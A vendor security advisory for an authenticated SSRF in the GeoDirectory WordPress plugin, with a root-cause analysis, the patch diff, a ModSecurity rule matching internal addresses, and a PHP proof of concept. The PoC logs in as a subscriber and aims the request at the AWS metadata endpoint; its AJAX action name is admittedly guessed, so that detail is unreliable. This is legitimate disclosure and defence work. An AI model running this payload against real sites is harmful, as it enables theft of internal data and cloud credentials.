Published : July 20, 2026

CVE-2026-57681: GeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.161 Authenticated (Subscriber+) Server-Side Request Forgery PoC, Patch Analysis & Rule

Plugin geodirectory
Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 2.8.161
Patched Version 2.8.162
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57681:

This vulnerability allows authenticated attackers with Subscriber-level access or higher to perform Server-Side Request Forgery (SSRF) attacks against the GeoDirectory plugin for WordPress, versions up to and including 2.8.161. The affected component is the download_url() method in the class-geodir-media.php file. The CVSS score is 6.4, indicating a medium severity issue.

Root Cause:
The root cause is the absence of any validation on the URL parameter passed to the download_url() static method in class-geodir-media.php at line 793 (prior to the patch). This method accepts a $url parameter and attempts to download the file from that URL using core WordPress functions. The method did not check whether the target URL resolved to internal or private IP addresses. An attacker could provide URLs pointing to internal services such as 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, or hostnames like localhost. The plugin would then make a server-side request to that internal resource, allowing the attacker to probe or potentially modify data on internal services.

Exploitation:
To exploit this vulnerability, an attacker with Subscriber-level access (or higher) would craft a POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php. The attacker would set the action parameter to the specific AJAX handler that calls download_url() with user-supplied input. The attacker would then pass a URL parameter pointing to an internal service, such as http://169.254.169.254/latest/meta-data/ (AWS metadata) or http://127.0.0.1/wp-admin/admin-ajax.php?action=some_action. The server would make the request and return the response to the attacker, leaking sensitive information.

Patch Analysis:
The patch introduces two new helper functions: geodir_is_safe_host() and geodir_is_localhost() in helper-functions.php. The download_url() method now checks if the server is not a local environment and if the target URL is not a safe host before proceeding. The geodir_is_safe_host() function resolves the hostname to an IP address, then checks against a blocklist of forbidden hostnames (localhost, localhost.localdomain, host.docker.internal) and validates that the IP is not a private or reserved address using PHP’s filter_var with FILTER_FLAG_NO_PRIV_RANGE and FILTER_FLAG_NO_RES_RANGE. It also checks for IPs starting with 127. or equal to 0.0.0.0. The geodir_is_localhost() function allows the request if the server itself is a local development environment, which is a reasonable exception for testing. Before the patch, none of these validations existed, so any URL was processed without restriction.

Impact:
Successful exploitation allows an attacker to make arbitrary HTTP requests from the server to internal network resources. This can lead to information disclosure from internal services, such as cloud metadata endpoints (AWS, GCP, Azure), internal APIs, or other services running on the local network. In some configurations, the attacker might be able to modify data on internal services that accept write operations via HTTP. The attack does not directly provide code execution, but it could be a stepping stone for further attacks against internal infrastructure.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.161
+ * Version: 2.8.162
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.161';
+		public $version = '2.8.162';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-media.php
+++ b/geodirectory/includes/class-geodir-media.php
@@ -790,11 +790,19 @@
 	 *
 	 * @return array|bool|string|WP_Error
 	 */
-	public static function download_url($url, $timeout = 300){
+	public static function download_url( $url, $timeout = 300 ) {
 		//WARNING: The file is not automatically deleted, The script must unlink() the file.
 		if ( ! $url )
 			return new WP_Error('http_no_url', __('Invalid URL Provided.'));

+		// Prevent SSRF by blocking internal/private requests, unless running in a local.
+		if ( ! geodir_is_localhost() && ! geodir_is_safe_host( $url ) ) {
+			return new WP_Error(
+				'geodir_ssrf_blocked',
+				__( 'Outbound requests to internal or private loopback addresses are restricted.', 'geodirectory' )
+			);
+		}
+
 		$url_filename = basename( parse_url( $url, PHP_URL_PATH ) );

 		$tmpfname = wp_tempnam( $url_filename );
--- a/geodirectory/includes/helper-functions.php
+++ b/geodirectory/includes/helper-functions.php
@@ -2167,3 +2167,80 @@

 	return geodir_escape_csv_data( $data );
 }
+
+/**
+ * Validates whether a URL host is safe to request.
+ *
+ * @since 2.8.162
+ *
+ * @param string $url The URL to validate.
+ * @return bool True if the host is safe, false otherwise.
+ */
+function geodir_is_safe_host( $url ) {
+	// Check if the destination URL points to a local network address.
+	$url_parts = wp_parse_url( $url );
+
+	if ( ! empty( $url_parts ) && ! empty( $url_parts['host'] ) ) {
+		$is_safe_url = true;
+		$target_host = strtolower( $url_parts['host'] );
+
+		// Hard-blocked internal system hostnames.
+		$forbidden_hosts = array( 'localhost', 'localhost.localdomain', 'host.docker.internal' );
+
+		// Resolve the target domain name to its actual IP address.
+		$target_ip    = gethostbyname( $target_host );
+		$is_public_ip = true;
+
+		if ( filter_var( $target_ip, FILTER_VALIDATE_IP ) ) {
+			$is_public_ip = filter_var(
+				$target_ip,
+				FILTER_VALIDATE_IP,
+				FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+			);
+		}
+
+		// If the URL points to an internal resource.
+		if ( in_array( $target_host, $forbidden_hosts, true ) || ! $is_public_ip || strpos( $target_ip, '127.' ) === 0 || $target_ip === '0.0.0.0' ) {
+			$is_safe_url = false;
+		}
+	} else {
+		$is_safe_url = false  ;
+	}
+
+	return  $is_safe_url;
+}
+
+/**
+ * Checks if the current request is running on a localhost.
+ *
+ * @since 2.8.162
+ *
+ * @return bool True if the current host is a local environment, false otherwise.
+ */
+function geodir_is_localhost() {
+	if ( ! isset( $_SERVER['HTTP_HOST'] ) ) {
+		return false;
+	}
+
+	// Convert to lowercase and strip out port numbers (e.g. "localhost:8080").
+	$host = strtolower( strtok( $_SERVER['HTTP_HOST'], ':' ) );
+
+	$localhost_domains = array(
+		'localhost',
+		'localhost.localdomain',
+		'127.0.0.1',
+		'::1'
+	);
+
+	// Direct match.
+	if ( in_array( $host, $localhost_domains, true ) ) {
+		return true;
+	}
+
+	// Catch custom WAMP local domains ending in .local, .test, or .localhost.
+	if ( preg_match( '/.(local|test|localhost)$/', $host ) ) {
+		return true;
+	}
+
+	return false;
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57681 GeoDirectory SSRF via AJAX',severity:'CRITICAL',tag:'CVE-2026-57681'"
    SecRule ARGS_POST:action "@streq geodir_download_file" 
        "chain"
        SecRule ARGS_POST:url "@rx ^https?://(127.|10.|172.(1[6-9]|2[0-9]|3[01]).|192.168.|0.0.0.0|localhost|169.254.169.254)" 
            "t:none,t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57681 - GeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.161 - Authenticated (Subscriber+) Server-Side Request Forgery

// Configure the target WordPress site URL and attacker credentials
$target_url = 'http://example.com'; // Change this to the target WordPress site
$attacker_username = 'subscriber_user'; // Change to a subscriber username
$attacker_password = 'subscriber_password'; // Change to the subscriber password

// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $attacker_username,
    'pwd' => $attacker_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as subscriber.n";

// Step 2: Exploit SSRF by requesting internal metadata endpoint
// The AJAX action that triggers download_url() needs to be identified.
// For demonstration, we assume the action is 'geodir_download_file' or similar.
// We will attempt a common internal target: AWS metadata endpoint.

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ssrf_payload = array(
    'action' => 'geodir_download_file', // Replace with actual AJAX action if different
    'url' => 'http://169.254.169.254/latest/meta-data/'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ssrf_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: " . $http_code . "n";
echo "[+] Response body:n";
echo $response . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School